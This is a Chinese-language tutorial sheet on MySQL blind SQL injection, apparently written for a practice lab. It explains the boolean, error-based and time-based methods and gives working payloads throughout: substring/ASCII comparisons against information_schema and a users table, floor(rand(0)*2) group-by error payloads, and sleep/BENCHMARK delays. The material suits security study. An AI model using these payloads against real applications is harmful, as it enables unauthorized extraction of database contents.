概述:
何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
•基于布尔SQL盲注
•基于时间的SQL盲注
•基于报错的SQL盲注
1:基于布尔SQL盲注----------构造逻辑判断
mid(string,start,length) //mid(a,b,c)从位置b开始,截取a字符串的c位
string substr(string, start, length) //substr(a,b,c)从b位置开始,截取字符串a的c长度。
left ( string, n ) //left(a,b)从左侧截取a的前b位
注:Ord()函数同ascii(),将字符转为ascii值.
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函数,MID()函数,:mid(a,b,c)从位置b开始,截取a字符串的c位,Ord()函数同ascii(),将字符转为ascii值
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
//substr()函数,ascii()函数:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
select user() regexp '^[a-z]' //正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式:select user() regexp '^ro'.当正确的时候显示结果为1,不正确的时候显示结果为0.
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0)); select * from users where id=1 and 1=(user() regexp'^ri'); select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
select user() like 'ro%'
2:基于报错的SQL盲注------构造payload让信息通过错误提示回显出来
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
3:基于时间的SQL盲注----------延时注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if判断语句,条件为假,执行sleep
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1; //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()
函数进行注入。